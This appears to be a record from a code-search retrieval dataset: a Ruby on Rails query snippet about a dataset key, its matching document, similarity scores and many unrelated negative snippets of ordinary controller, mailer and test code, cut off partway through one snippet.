"def admin_proofread_final_manuscript_list\n %w( [email protected] )\n end",
"def other_party(person)\n person == starter ? listing.author : starter\n end",
"def loan_details\n [\"Holder Name: #{@holder_name}\",\n \"Final Repayment Date: #{@repayment_date}\",\n \"Outstanding Amount: #{@outstanding}\"]\n end",
"def loan_request_notification(owner, requester, user_lacquer)\n @owner = owner\n @requester = requester\n @user_lacquer = user_lacquer\n @user_url = \"http://www.lacquerloveandlend.com/users/#{@owner.id}\"\n\n mail(to: @owner.email, subject: \"#{@requester.name} wants to borrow #{@user_lacquer.lacquer.name}\")\n\n headers['X-MC-Track'] = \"opens, clicks_all\"\n end",
"def librarian_view\n @response, @document = fetch params[:id]\n\n # Staff want to see Collection Group Designation in the librarian view\n @barcode2cgd = {}\n if @document.has_offsite_holdings?\n # Fetch full array of status hashes\n scsb_status = BackendController.scsb_status(params[:id])\n scsb_status.each do |item|\n @barcode2cgd[item['itemBarcode']] = item['collectionGroupDesignation']\n end\n # Simple hash to map barcode to \"Open\"/\"Shared\"/\"Closed\"\n # {\n # \"CU18799175\" => \"Available\"\n # }\n end\n\n respond_to do |format|\n format.html do\n # This Blacklight function re-runs the current query, twice,\n # just to get IDs to build next/prev links.\n # NewRelic shows this one line taking 1.5% of total processing time,\n # even though it's hitting Solr's query cache.\n setup_next_and_previous_documents\n # raise\n render layout: 'no_sidebar'\n end\n format.js { render layout: false }\n end\n end",
"def librarian_view\n @response, @document = fetch params[:id]\n\n # Staff want to see Collection Group Designation in the librarian view\n @barcode2cgd = {}\n if @document.has_offsite_holdings?\n # Fetch full array of status hashes\n scsb_status = BackendController.scsb_status(params[:id])\n scsb_status.each do |item|\n @barcode2cgd[item['itemBarcode']] = item['collectionGroupDesignation']\n end\n # Simple hash to map barcode to \"Open\"/\"Shared\"/\"Closed\"\n # {\n # \"CU18799175\" => \"Available\"\n # }\n end\n\n respond_to do |format|\n format.html do\n # This Blacklight function re-runs the current query, twice,\n # just to get IDs to build next/prev links.\n # NewRelic shows this one line taking 1.5% of total processing time,\n # even though it's hitting Solr's query cache.\n setup_next_and_previous_documents\n # raise\n render layout: 'no_sidebar'\n end\n format.js { render layout: false }\n end\n end",
"def assign_lawyer\n sp_session = current_service_provider_session\n employee = Employee.find(params[:employee_id],:include=>[:user=>[:service_provider_employee_mappings]])\n service_session = Physical::Liviaservices::ServiceSession.create(:employee_user_id =>employee.user.id,\n :sp_session => sp_session,\n :session_start => Time.now ,\n :company_id => current_user.company_id)\n session[:service_session] = service_session.id\n assignment_user = employee.user\n lawyer = assignment_user\n lawyer.verified_lawyer\n session[:verified_lawyer_id] = assignment_user.id\n current_user.verified_lawyer_id_by_secretary = assignment_user.id\n sp_id= employee.user.nil? ? \"\" : employee.user.service_provider_employee_mappings.blank? ? \"\" : employee.user.service_provider_employee_mappings.first.service_provider_id\n redirect_to new_communication_path(:service_provider_id=>sp_id,:call_id=>params[:call_id])\n end",
"def show\n @users = current_user.employer.recruiters.sort! {|a,b| a.first_name + a.last_name <=> b.first_name + b.last_name} # if current_user.has_role?(\"account_owner\")\n end",
"def get_clusters_livians_and_skills_for_selected_lawyer\n lawfirm_user = User.find(params[:lawfirm_user_id])\n @lawfirm_users_clusters = []\n @lawfirm_users_livians = []\n @livians_skills = []\n for cluster in lawfirm_user.clusters\n @lawfirm_users_clusters << cluster\n @lawfirm_users_livians += cluster.livians\n end\n @lawfirm_users_livians.uniq!\n @lawfirm_users_livians = sort_by_first_name_and_last_name(@lawfirm_users_livians) unless @lawfirm_users_livians.blank?\n for livian in @lawfirm_users_livians\n @livians_skills += livian.work_subtypes\n end\n @livians_skills.uniq!\n @unassigned_skills = WorkSubtype.all - @livians_skills\n render :update do |page|\n unless @lawfirm_users_clusters.blank? || @lawfirm_users_livians.blank?\n page.replace_html 'clusters_of_selected_lawyer',:partial => \"clusters_of_selected_lawyer\"\n page.replace_html 'livians_of_lawyers_clusters',:partial => \"livians_of_lawyers_clusters\"\n page.replace_html 'livians_skills',:partial => \"livians_skills\"\n else\n page.replace_html 'clusters_of_selected_lawyer',:text=>\"No Clusters / Livians are assigned to #{lawfirm_user.full_name}\"\n page.replace_html 'livians_of_lawyers_clusters',:text=>\"\"\n page.replace_html 'livians_skills',:text=>\"\"\n end\n end\n end",
"def index\n candidate = UspsInPersonProofing::Applicant.new(\n address: search_params['street_address'],\n city: search_params['city'], state: search_params['state'],\n zip_code: search_params['zip_code']\n )\n response = proofer.request_facilities(candidate)\n if response.length > 0\n analytics.idv_in_person_locations_searched(\n success: true,\n result_total: response.length,\n )\n else\n analytics.idv_in_person_locations_searched(\n success: false, errors: 'No USPS locations found',\n )\n end\n render json: response.to_json\n end",
"def index\n if isPageAdmin(params[:college_id])\n set_whitelist_by_college\n render :index\n else\n flash[:danger] = 'Área restrita. Você não é administrador da página.'\n redirect_to colleges_path\n end\n end",
"def eligible_secretaries\n comm = Communication.find(params[:commID].to_i, :include => [:receiver => [:service_provider_employee_mappings => [:skills, :service_provider]]]) \n providers = []\n comm.receiver.service_provider_employee_mappings.each do|p|\n p.skills.each do|s|\n if s.skill_type_id == params[:skillID].to_i\n providers << p.service_provider\n break\n end\n end\n end\n @eligible_secretaries = providers\n render :partial => \"eligible_secretaries\"\n end",
"def show\n @chance = @user.chance\n @loans = @user.loans.order(purchase_date: :desc)\n end",
"def loans\n url = \"#{LOANS_PATH}/pre-approved\"\n data = perform_get(url)\n data || {}\n end",
"def loan\n @user = current_user\n @request = Request.new\n render layout: false\n end",
"def index\n @user = current_user\n if @user.is_admin\n @users = User.all\n # @licenses = @user.license\n elsif @user.licensed\n @users = User.where(id: current_user.id)\n else\n redirect_to licenses_stub_path\n end\n end",
"def index\n # Never show a hacker list.\n redirect_to entries_path\n end",
"def get_lawyer_user_ids\n @assigned_lawfirm_users.map(&:id)\n end",
"def show\n @affiliate = Affiliate.find(params[:id])\n if @affiliate and (current_user.is_admin or @affiliate.email == current_user.email)\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @affiliate }\n end\n else\n redirect_to \"/\"\n end\n\n end",
"def owner_or_admin\n listing = SellerListing.find(params[:id])\n\n unless user_signed_in? && (current_user.id == listing.user_id || current_user.admin?)\n if !user_signed_in?\n Rails.logger.warn(\"User tried to access page without being signed in\")\n elsif current_user.id != listing.user_id\n Rails.logger.warn(\"#{current_user.to_s} tried to access a page that belongs to #{listing.user.to_s}\")\n elsif !current_user.admin?\n Rails.logger.warn(\"#{current_user.to_s} needs to be an admin to access this page\")\n end\n\n flash[:error] = 'Sorry, but you are not permitted to view that page.'\n redirect_to new_home_offer_path\n end\n end",
"def index\n @users = User.instructors.all(:include => [:payment_level]).sort_by{|user| user.unpaid_credits_amount * -1}.paginate :page => params[:page],\n :per_page => @per_page\n end",
"def ensure_at_williams\n forbidden \"You are not logged in as a current student or faculty/staff member.\" unless at_williams?\n end",
"def show\n @advert = Advert.find(params[:id])\n @lead = @advert.leads.new\n\n redirect_to :root if [email protected]? and !owner_of?(@advert)\n\n end",
"def index\n # view account settings\n @has_paid_listing = check_has_paid_listing?\n @user = User.find(session[:user])\n @listings = Listing.find :all,\n :conditions => [ \"user_id = ?\", session[:user] ]\n# @listing = Listing.find_by_user_id(session[:user])\n render :action => \"account/index\", :layout => \"default\"\n end",
"def plan_only\n unless current_user\n redirect_to \"/\", :alert => \"Access denied. You must be a member to suggest a charity. Explore with us as a member now for free.\"\n end\n end",
"def add_to_allowed_list(email)\n send_contact_command email, 'ADL', '2'\n end",
"def index\n @burpies = current_user.mentor? ? current_user.burpies_given : current_user.burpies_recieved\n end",
"def list_nurse_info\n\n end",
"def index\n @loan_officers = LoanOfficer.all\n end",
"def blocklisted_responder; end",
"def index\n @dealerpersonalinfos = current_dealer().dealerpersonalinfo\n end",
"def lonely_students_need_partners\n @lonely_students.each_with_index do |student, i|\n if i >= 1 \n puts \"#{i}. #{student} needs a partner\"\n puts \" \"\n end\n end\n end",
"def acct_list usr, aFlg\n if usr.is_admin? && aFlg \n User.joins(:bank_accounts).include_list.where('bank_accounts.status = ?', 'active').uniq.reorder('first_name ASC') \n else\n BankAccount.inc_list.where(user_id: usr, status: 'active')\n end\n end",
"def show\n if user_signed_in?\n @list = List.includes( listeds: [:listable] ).find(params[:id])\n render layout: 'layouts/twoColumn'\n else\n respond_to do |format|\n format.html { redirect_to management_lists_path(:user), notice: 'You must have an account to manage lists' }\n format.json { head :no_content }\n end\n end\n end",
"def show\n # how does @bill get loaded\n @districts = PolcoGroup.districts.where(:vote_count.gt => 0).desc(:member_count).paginate(:page => params[:page], :per_page => 10)\n # this will fail if a user is not logged in\n if @user = current_user\n @PolcoGroups = @user.non_district_groups_for_bill(@bill).paginate(:page => params[:page], :per_page => 10)\n end\n @rolled = (@bill.member_votes.size > 0)\n\n respond_to do |format|\n format.html # show.haml\n format.xml { render :xml => @bill }\n end\n end",
"def showList() \t\n\t\t@searchSuggestionList\t\n\tend",
"def user_listings\n @listings =current_user.listings\n end"
] |
[
"0.7111818",
"0.63285965",
"0.6321633",
"0.61826116",
"0.6145381",
"0.6006175",
"0.59207636",
"0.5888368",
"0.5845152",
"0.58299154",
"0.57901645",
"0.56836444",
"0.56684506",
"0.5613727",
"0.5595405",
"0.5549617",
"0.5519993",
"0.549419",
"0.5483361",
"0.5481926",
"0.54763395",
"0.5470399",
"0.54684156",
"0.5467517",
"0.54674816",
"0.5466363",
"0.54474586",
"0.5418869",
"0.5417256",
"0.54100513",
"0.5407669",
"0.53919894",
"0.53908753",
"0.53689903",
"0.5351147",
"0.53298295",
"0.5323005",
"0.5317097",
"0.53170747",
"0.53111976",
"0.5307652",
"0.5302066",
"0.53007823",
"0.52999413",
"0.5292258",
"0.52879",
"0.52833956",
"0.52822024",
"0.5279784",
"0.52788746",
"0.52723885",
"0.5265519",
"0.5263761",
"0.5255425",
"0.525499",
"0.52516294",
"0.52491117",
"0.52378696",
"0.5225584",
"0.5223798",
"0.5223552",
"0.52225906",
"0.52218205",
"0.52185434",
"0.5218076",
"0.52160096",
"0.52152437",
"0.52135307",
"0.52135307",
"0.5212226",
"0.5210388",
"0.5204748",
"0.52013636",
"0.5200815",
"0.52001506",
"0.51885873",
"0.51883864",
"0.5187239",
"0.51852316",
"0.51843673",
"0.5183403",
"0.51811486",
"0.517895",
"0.5174434",
"0.51714236",
"0.5165523",
"0.51631546",
"0.51621413",
"0.5158318",
"0.5157223",
"0.51529294",
"0.51522684",
"0.5147935",
"0.5145256",
"0.51440793",
"0.51409554",
"0.5138934",
"0.51372117",
"0.5130092",
"0.51297694"
] |
0.64495856
|
1
|
Logs a header for validation
|
def validation_header(_file_pattern, _validation_class)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def validate_header!\n [:date, :from].each do |field|\n raise \"No '#{field}' header field provided\" unless self.send(field)\n end\n end",
"def add_log_header(file)\n end",
"def validate_header(header)\n import_failed(0, t(:header_invalid)) if self.class.csv_header != header\n end",
"def expected_header\n raise\n end",
"def header\n if io.kind_of?(File)\n puts colorize(\"Request-log-analyzer summary report\", :white, :bold)\n line(:green)\n puts \"Version #{RequestLogAnalyzer::VERSION} - written by Willem van Bergen and Bart ten Brinke\"\n puts \"Website: #{link('http://github.com/wvanbergen/request-log-analyzer')}\"\n end\n end",
"def log_headers(headers)\n @api.logger.debug(headers.map {|k, v| [k, v].join(': ')}.join(', '))\n end",
"def header; message[:header]; end",
"def validate_headers\n raise UnknownDataField, unknown_headers.join(',') if unknown_headers.present?\n end",
"def header\n end",
"def header; end",
"def header; end",
"def header; end",
"def log_header(what, char=\"=\")\n count = 16\n sep = (char * count)\n header = [sep, \"[ #{tag} >>> #{what} ]\", sep].join\n \"#{header}\\n\"\n end",
"def log(env, status, header, began_at)\n now = Time.now\n length = extract_content_length(header)\n\n data =\n {\n :remote_ip => env['HTTP_X_FORWARDED_FOR'] || env[\"REMOTE_ADDR\"] || \"?\",\n :remote_user => env[\"REMOTE_USER\"] || \"\",\n :http_method => env[\"REQUEST_METHOD\"],\n :path => env[\"PATH_INFO\"],\n :query => env[\"QUERY_STRING\"].empty? ? \"\" : \"?\"+env[\"QUERY_STRING\"],\n :http_version => env[\"HTTP_VERSION\"],\n :http_status => status.to_s[0..3],\n :content_length => length,\n :duration => now - began_at\n }\n\n logger = @logger || env['rack.errors']\n #logger.write data\n end",
"def header header, op\n end",
"def header_signature; end",
"def header_tag\n options.delete(:header_tag) || CaseForm.complex_error_header_tag\n end",
"def debug_header_status(status)\n status = status.to_i\n # Make this actually useful by explaining why each header appears.\n if $_1xx.include? status\n Logger.log(\"Response code: #{status}. Response type: Informational.\")\n elsif $_2xx.include? status\n Logger.log(\"Response code: #{status}. Response type: Success.\")\n elsif $_3xx.include? status\n Logger.log(\"Response code: #{status}. Response type: Redirection.\")\n elsif $_4xx.include? status\n Logger.log(\"Response code: #{status}. Response type: Client error.\")\n else\n Logger.log(\"Response code: #{status} does not have a valid response type.\")\n end\nend",
"def header\n \"Sentry sentry_signature=#{signature}, sentry_timestamp=#{@timestamp}, redtail=#{VERSION}\"\n end",
"def on_header_init()\n end",
"def headers\n end",
"def errors\n header.errors\n end",
"def headers; end",
"def headers; end",
"def headers; end",
"def headers; end",
"def headers; end",
"def headers; end",
"def headers; end",
"def headers; end",
"def headers; end",
"def headers; end",
"def header=(header)\n @header = header\n end",
"def verify_header\n # normal header like sample ==> Authorization 'ddd$$%gggrghHFDSS.HHJHTTGGR'\n if headers['Authorization'].present?\n headers['Authorization'].split(' ').last\n else\n errors.add(:token, 'Missing Token')\n nil\n end\n end",
"def header=(header)\n @header = header\n end",
"def check_header(header)\n results = Auth.parse_header(header)\n\n assert_equal('auth', results['qop'])\n assert_equal('REALM', results['realm'])\n assert_equal('2006-03-03T17:37:10', results['nonce'])\n assert_equal('', results['opaque'])\n assert_equal('false', results['stale'])\n assert_equal('\\my\\test\\domain', results['domain'])\n end",
"def add_header(name, value)\n end",
"def header=(_arg0); end",
"def valid_authentication_header\n\t\t\t\t\trequire \"cgi\"\n\n\t\t\t\t\talgorithm = \"sha256\";\n\t\t\t\t\turl = CGI.escape(self.url.to_s)\n\t\t\t\t\tclient_id = self.client_id\n\t\t\t\t\tsecret = self.secret\n\t\t\t\t\ttimestamp = (Time.now.to_i)*1000\n\t\t\t\t\tstr = \"algorithm=HmacSHA256&client_id=#{client_id}&service_url=#{url}×tamp=#{timestamp}\";\n\t\t\t\t\tsignature = ::MicroService::SignedRequest::Utils.sign(str, secret, algorithm)\n\n\t\t\t\t\t# Header!\n\t\t\t\t\t\"#{str}&signature=#{CGI::escape(signature)}\"\n\t\t\t\tend",
"def add_log_header(file)\n file.write(\n \"# Logfile created on %s by %s\\n\" % [Time.now.to_s, Logger::ProgName]\n ) if file.size == 0\n end",
"def setup_header(dat)\n @headers = { to: to }\n dat.each do |key, val|\n key = key.to_s.downcase\n raise \"invalid field #{key}\" unless valid_fields.include?(key)\n @headers[key.to_sym] = val unless val.nil?\n end\n end",
"def is_header()\n\t\tend",
"def show_header\n message.header\n end",
"def inspect()\n \"#{self.class}:#{@header}\"\n end",
"def logBV\n logger.error \"quiz BEFORE VALIDATION\"\n end",
"def header_signature=(_arg0); end",
"def catch_header(hdrs, comment=\"\")\n puts \"Caught: #{hdrs} \"\n puts \"Header comment: #{comment}\" unless comment == \"\"\n end",
"def header(name, value)\n har_headers << [name, value]\n super(name, value)\n end",
"def log(header = \"no header\", obj = nil)\n msg = fmt_log(header, obj)\n PatentAgent.logger.info msg\n obj \n end",
"def header\n @message.header\n end",
"def output_header_level(level); end",
"def header(fileName)\n string = <<-eos\n//===----------------------------------------------------------------------===//\n//\n// This source file is part of the Swift Logging API open source project\n//\n// Copyright (c) 2018-2019 Apple Inc. and the Swift Logging API project authors\n// Licensed under Apache License v2.0\n//\n// See LICENSE.txt for license information\n// See CONTRIBUTORS.txt for the list of Swift Logging API project authors\n//\n// SPDX-License-Identifier: Apache-2.0\n//\n//===----------------------------------------------------------------------===//\n//\n// <FileName>\n//\nimport XCTest\n\n///\n/// NOTE: This file was generated by generate_linux_tests.rb\n///\n/// Do NOT edit this file directly as it will be regenerated automatically when needed.\n///\n eos\n\n string\n .sub('<FileName>', File.basename(fileName))\n .sub('<Date>', Time.now.to_s)\nend",
"def processed_headers; end",
"def validate_source_of_request\n LogWrapper.log('DEBUG', {\n 'message' => \"Request sent to #{params['controller']}Controller#validate_source_of_request\",\n 'method' => 'validate_source_of_request',\n 'status' => \"start, Rails.env=#{Rails.env}, (Rails.env.test? || Rails.env.local?)=#{Rails.env.test? || Rails.env.local?}\",\n 'dataSent' => \"request.headers['X-API-Key']:#{request.headers['X-API-Key']}\"\n })\n\n redirect_to '/api/unauthorized' unless Rails.env.test? || Rails.env.local? || request.headers['X-API-Key'] == ENV['API_GATEWAY_HEADER_KEY']\n end",
"def validate_headers(headers, * parameters)\n errors = []\n if headers.present?\n parameters.each do |param|\n if headers[param].blank?\n @api_response[:code] = @response_codes['insufficient_headers']\n errors << \"#{param.to_s}\" if errors.any?\n errors << \"header missing: #{param.to_s}\" if errors.empty?\n end\n end\n else\n errors << \"headers missing\"\n end\n [errors.blank? ? true : false, errors]\n end",
"def set_header_insert(opts)\n opts = check_params(opts,[:headers])\n super(opts)\n end",
"def parse_header(line)\n case line\n when /^#%checkm/\n match = /^#%checkm_(\\d+)\\.(\\d+)/.match line\n @version = \"#{match[1]}.#{match[2]}\" if match\n when /^#%eof/\n @eof = true\n when /^#%fields/\n list = line.split('|')\n list.shift\n @fields = list.map { |v| v.strip.downcase }\n when /^#%prefix/, /^#%profile/\n # do nothing\n end\n end",
"def header_fields\n header.fields\n end",
"def header_insert\n super\n end",
"def header(_content)\n raise NotImplementedError\n end",
"def request_log(request); end",
"def get_header(body_bytesize_length)\r\n # We would like each request to be sent with the current time\r\n date = rfc1123date()\r\n\r\n return {\r\n 'Content-Type' => 'application/json',\r\n 'Authorization' => signature(date, body_bytesize_length),\r\n 'Log-Type' => @logstashLoganalyticsConfiguration.custom_log_table_name,\r\n 'x-ms-date' => date,\r\n 'time-generated-field' => @logstashLoganalyticsConfiguration.time_generated_field,\r\n 'x-ms-AzureResourceId' => @logstashLoganalyticsConfiguration.azure_resource_id\r\n }\r\n end",
"def add_headers; end",
"def error_log\n end",
"def error_log\n end",
"def error_log\n end",
"def headers=(_arg0); end",
"def headers=(_arg0); end",
"def headers=(_arg0); end",
"def headers=(_arg0); end",
"def assert_header(key)\n unless key.is_a?(Numeric) || @headers.nil? || @headers.include?(key)\n fail UnknownCSVCellError.new(self, key)\n end\n end",
"def header=(hdr)\n order_check(hdr)\n hdr.each {|s| raise \"Header must contain strings\" if ! s.kind_of? String }\n @header = hdr\n end",
"def test\n return true if expected_header == actual_header\n\n message = \"expected #{expected_header.inspect}, got #{actual_header.inspect}\"\n raise(UnexpectedHeader, message)\n end",
"def start_header(attributes)\n @element_stack << :header\n end",
"def start_header(attributes)\n @element_stack << :header\n end",
"def log_header(force = false)\n if (config.live_logging && !@header_printed) || (!config.live_logging && force)\n log_line(\"Benchmark results:\")\n @header_printed = true\n end\n end",
"def test_log_entry_http_request_field_from_record\n verify_subfields_from_record(DEFAULT_HTTP_REQUEST_KEY)\n end",
"def log_http_request(request)\n log :info, \"Starting request: #{request.method} #{request.path}\"\n\n return unless log_debug?\n\n log :debug, \" body : #{request.body}\"\n log :debug, \" headers :\"\n request.each_header do |name, value|\n log :debug, \" #{name}: #{value}\"\n end\n end",
"def header(*args)\n $stderr.puts(args.compact.join(' '))\n end",
"def format_header(v)\n format_measure(v)\n end",
"def header_params\n params.require(:header).permit(:name, :value, :mock_id)\n end",
"def header\n \"*#{super}*\"\n end",
"def create\n @header = Header.new(header_params)\n\n respond_to do |format|\n if @header.save\n format.html { redirect_to admin_headers_path, notice: 'Header was successfully created.' }\n format.json { render :show, status: :created, location: @header }\n else\n format.html { render :new }\n format.json { render json: @header.errors, status: :unprocessable_entity }\n end\n end\n end",
"def header\n @header ||= create_header\n end",
"def log_request(url, headers, body)\n logger = @api.logger\n logger.debug(\"Report request to: '%s'\" % url)\n logger.debug('HTTP headers: [%s]' %\n (headers.map { |k, v| [k, v].join(': ') }.join(', ')))\n logger.debug(body)\n end",
"def header\n return @header\n end",
"def parse_header_lines\n if @parsed_values[\"\"].nil? || @parsed_values[\"\"][1].nil?\n @parsed_values[\"\"] = {}\n return\n end\n\n headers = {}\n # Heading lines may have escaped newlines in them\n @parsed_values[\"\"][1].split(/\\\\n/).each do |line|\n next if line.size == 0\n\n if line =~ /(.*?):(.*)/\n key, value = $1, $2\n if headers[key] && headers[key].size > 0\n @errors << [\"Duplicate header line: #{line}\"]\n elsif key =~ /#-#-#-#-#/\n @errors << [\"Marker in header line: #{line}\"]\n else\n headers[key] = value\n end\n else\n @errors << [\"Malformed header #{line}\"]\n end\n end\n\n @parsed_values[\"\"] = headers\n end",
"def header(routes)\n # no need for a header\n end",
"def log_request_details(event)\n env = event.payload\n debug do\n \"[#{req_id(env)}] #{req_dest(env)} > \" \\\n \"#{env.request_headers.sort.to_h.to_json}\"\n end\n end",
"def header\n @result['_header']\n end",
"def verify_column_headers\n \n unless (headers = get_spreadsheet.headers)\n # log an error if we can't get the metadata headers\n @verification_errors << BulkOps::Error.new({type: :bad_header, field: column_name}) \n end\n\n headers.each do |column_name|\n next if column_name.blank?\n column_name_redux = column_name.downcase.parameterize.gsub(/[_\\s-]/,\"\")\n # Ignore everything marked as a label\n next if column_name_redux.ends_with? \"label\"\n # Ignore any column names with special meaning in hyrax\n next if BulkOps::SPECIAL_COLUMNS.any?{|col| col.downcase.parameterize.gsub(/[_\\s-]/,\"\") == column_name_redux }\n # Ignore any columns speficied to be ignored in the configuration\n ignored = options[\"ignored headers\"] || []\n next if ignored.any?{|col| col.downcase.parameterize.gsub(/[_\\s-]/,\"\") == column_name_redux }\n # Column names corresponding to work attributes are legit\n next if Work.attribute_names.any?{|col| col.downcase.parameterize.gsub(/[_\\s-]/,\"\") == column_name_redux }\n @verification_errors << BulkOps::Error.new({type: :bad_header, field: column_name})\n end\n end",
"def headers\n\t\t\thdr = @curb.header_str\n\t\t\tself.class.recode(log?, @curb.content_type, hdr) ?\n\t\t\t\tself.class.parse_headers(hdr) :\n\t\t\t\tself.class.parse_headers(@curb.header_str) # recode failed\n\t\tend",
"def header(format, ntrks, division)\n end",
"def tabular_input_cleanse_header\n ignored_columns = tabular_input.header.cleanse!\n logger.warn('Stripped out invalid columns from custom header', ignored_columns) unless ignored_columns.empty?\n\n self.tabular_input_header = tabular_input.header.columns\n end",
"def request_headers; end",
"def request_headers; end",
"def headers(request)\n raise NotImplementedError\n end",
"def required_csv_headers\n [:email, :name]\n end",
"def log_request(request, response)\n puts \"\\nRequest Headers\"\n request.each {|head,val| puts \"#{head}: #{val}\"}\n puts \"\\nResponse Headers\"\n response.each {|head,val| puts \"#{head}: #{val}\"}\n puts \"\\nResponse Body\"\n puts response.body\n puts \"\\nResponse Type\"\n puts \"#{response.class} (#{response.code})\"\nend",
"def header\n tag! \"h#{options[:level]}\".intern\n end"
] |
[
"0.68611884",
"0.65673226",
"0.64647996",
"0.6375263",
"0.61525124",
"0.6079296",
"0.6059327",
"0.60561556",
"0.6026288",
"0.59904456",
"0.59904456",
"0.59904456",
"0.58640164",
"0.58606017",
"0.5854596",
"0.5827804",
"0.582142",
"0.57685703",
"0.5758132",
"0.5754076",
"0.57143545",
"0.56867373",
"0.56844",
"0.56844",
"0.56844",
"0.56844",
"0.56844",
"0.56844",
"0.56844",
"0.56844",
"0.56844",
"0.56844",
"0.5678306",
"0.56671643",
"0.5659956",
"0.562718",
"0.562113",
"0.56121206",
"0.55982155",
"0.5580928",
"0.55747175",
"0.55731463",
"0.55537206",
"0.5552251",
"0.55501354",
"0.55421716",
"0.55411184",
"0.5527944",
"0.5504806",
"0.54859966",
"0.54425937",
"0.54421014",
"0.54251057",
"0.54250365",
"0.54193336",
"0.5409752",
"0.5398859",
"0.539129",
"0.5391252",
"0.5377052",
"0.53761894",
"0.5372332",
"0.53698355",
"0.536921",
"0.536921",
"0.536921",
"0.5367912",
"0.5367912",
"0.5367912",
"0.5367912",
"0.5358235",
"0.5353762",
"0.53170884",
"0.53128064",
"0.53128064",
"0.53042567",
"0.53029805",
"0.52992874",
"0.5283562",
"0.5275682",
"0.52707887",
"0.5264048",
"0.52358174",
"0.52351296",
"0.52349883",
"0.5234369",
"0.52336055",
"0.5230857",
"0.52112514",
"0.5197497",
"0.5195418",
"0.519148",
"0.51868",
"0.5179659",
"0.517778",
"0.517778",
"0.5159427",
"0.51571864",
"0.51566684",
"0.51544285"
] |
0.65137327
|
2
|
dataset_accessor :thing Not needed, but ensures correct exception message during failures.
|
def dataset_key
:id
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def dataset\n @dataset ||= data_maker.dataset\n end",
"def assign_dataset_attributes\n if dataset\n reset_dataset_attributes\n @dataset_attributes = (dataset.data[dataset_group][dataset_key] ||= {})\n end\n rescue => e\n raise \"Qernel::Dataset: missing dataset item for #{dataset_group.inspect} #{dataset_key}. #{e.inspect}\"\n end",
"def lint_dataset_predicate\n return if gateway_instance.respond_to? :dataset?\n\n complain \"#{gateway_instance} must respond to dataset?\"\n end",
"def train(dataset)\n raise 'Override me!'\n end",
"def miss_reason; end",
"def get_data\n raise \"overwrite it\"\n end",
"def initialize(dataset)\n @dataset = dataset\n end",
"def storage_failure=(_arg0); end",
"def data_righttest_label_bad(db); end",
"def setup\n @dataset = $dataset\n @dataset_2 = $dataset_2\n\n refute_nil @dataset, \"You do not have an active dataset to run the tests.\"\n\n super\n end",
"def dataset\n @dataset ||= generate_dataset\n end",
"def value!\n raise Result::Error, 'Failure objects do not have value'\n end",
"def do_failure; end",
"def something_should_fail!\n @should_fail = true\n end",
"def method_missing(method, *args, &block)\n @dataset = @dataset.send(method, *args, &block)\n raise(Sequel::Error, \"method #{method.inspect} did not return a dataset\") unless @dataset.is_a?(Dataset)\n self\n end",
"def load_data(row:)\n raise \"#{__FILE__}:#{__LINE__} You must define it\"\n end",
"def schema_utility_dataset\n @schema_utility_dataset ||= dataset\n end",
"def schema_utility_dataset\n @schema_utility_dataset ||= dataset\n end",
"def failures; end",
"def failures; end",
"def failures; end",
"def establish_dataset( dataset )\n #print 'Dataset established: ', dataset.name if dataset.respond_to? :name and dataset.name\n @@dataset = dataset\n end",
"def _insert_dataset\n use_server(model.instance_insert_dataset)\n end",
"def lint_dataset_reader\n return if gateway_instance.respond_to? :[]\n\n complain \"#{gateway_instance} must respond to []\"\n end",
"def _insert_dataset\n use_server(model.instance_dataset)\n end",
"def _insert_dataset\n use_server(model.instance_dataset)\n end",
"def set_dataset\n # TODO\n #@dataset = DatasetService.get_dataset\n end",
"def underlying_exception; end",
"def miss_reason=(_arg0); end",
"def _metadata_dataset\n super.with_convert_smallint_to_bool(false)\n end",
"def call\n # Add batches until we run out (FIXME: a more ruby way to do this?)\n while add_batch do\n end\n\n # Clear the disabled attribute\n @dataset.disabled = false\n @dataset.save\n rescue StandardError\n # FIXME: This should probably be a finally block?\n # Don't leave an empty dataset around under any circumstances\n @dataset.destroy\n raise\n end",
"def record_non_example_error(job, message)\n @redis.hset(key_errors, job, message)\n end",
"def reset_instance_dataset\n ret = super\n return unless ds = @instance_dataset\n\n if columns = insert_returning_columns(ds)\n ds = ds.returning(*columns)\n end\n @instance_insert_dataset = ds\n\n ret\n end",
"def _dataset_method\n :\"_#{self[:name]}_dataset\"\n end",
"def error_with(data, clazz = Bolt::Error)\n data = Bolt::Util.walk_keys(data, &:to_s)\n if data['msg'] && data['kind'] && (data.keys - %w[msg kind details issue_code]).empty?\n @data[:default] = clazz.new(data['msg'], data['kind'], data['details'], data['issue_code'])\n else\n $stderr.puts \"In the future 'error_with()' might require msg and kind, and \" \\\n \"optionally accept only details and issue_code.\"\n @data[:default] = data\n end\n @data_set = true\n self\n end",
"def failure_message; end",
"def failure_message; end",
"def failure_message; end",
"def failure_message; end",
"def failure_message; end",
"def failure_message; end",
"def failure_message; end",
"def retrieve_data\n raise 'Should implement'\n end",
"def exception; end",
"def exception; end",
"def exception; end",
"def exception; end",
"def exception; end",
"def _update_dataset\n this\n end",
"def _update_dataset\n this\n end",
"def error!\n throw NotImplementedError\n end",
"def fail!\n @failed = true\n end",
"def example_failed(example, counter, failure)\n end",
"def test_scenario1\n data = [{\"filename\" => File.dirname(__FILE__)+\"/data/iris.csv\"}] \n\n puts\n puts \"Scenario: Successfully creating and reading a public dataset\"\n data.each do |item|\n puts\n puts \"Given I create a data source uploading a \" + item[\"filename\"] + \" file\"\n source = @api.create_source(item[\"filename\"], {'name'=> 'source_test', 'project'=> @project[\"resource\"]})\n\n puts \"And I wait until the source is ready\"\n assert_equal(BigML::HTTP_CREATED, source[\"code\"])\n assert_equal(1, source[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(source), true)\n\n puts \"And I create dataset with local source\"\n [email protected]_dataset(source)\n\n puts \"And I wait until the dataset is ready\"\n assert_equal(BigML::HTTP_CREATED, dataset[\"code\"])\n assert_equal(1, dataset[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(dataset), true)\n\n puts \"I make the dataset public\"\n dataset = @api.update_dataset(dataset, {'private'=> false})\n assert_equal(BigML::HTTP_ACCEPTED, dataset[\"code\"])\n assert_equal(@api.ok(dataset), true)\n\n puts \"When I get the dataset status using the dataset's public url\";\n dataset = @api.get_dataset(\"public/#{dataset['resource']}\")\n\n puts \"Then the dataset's status is FINISHED\";\n assert_equal(BigML::FINISHED, 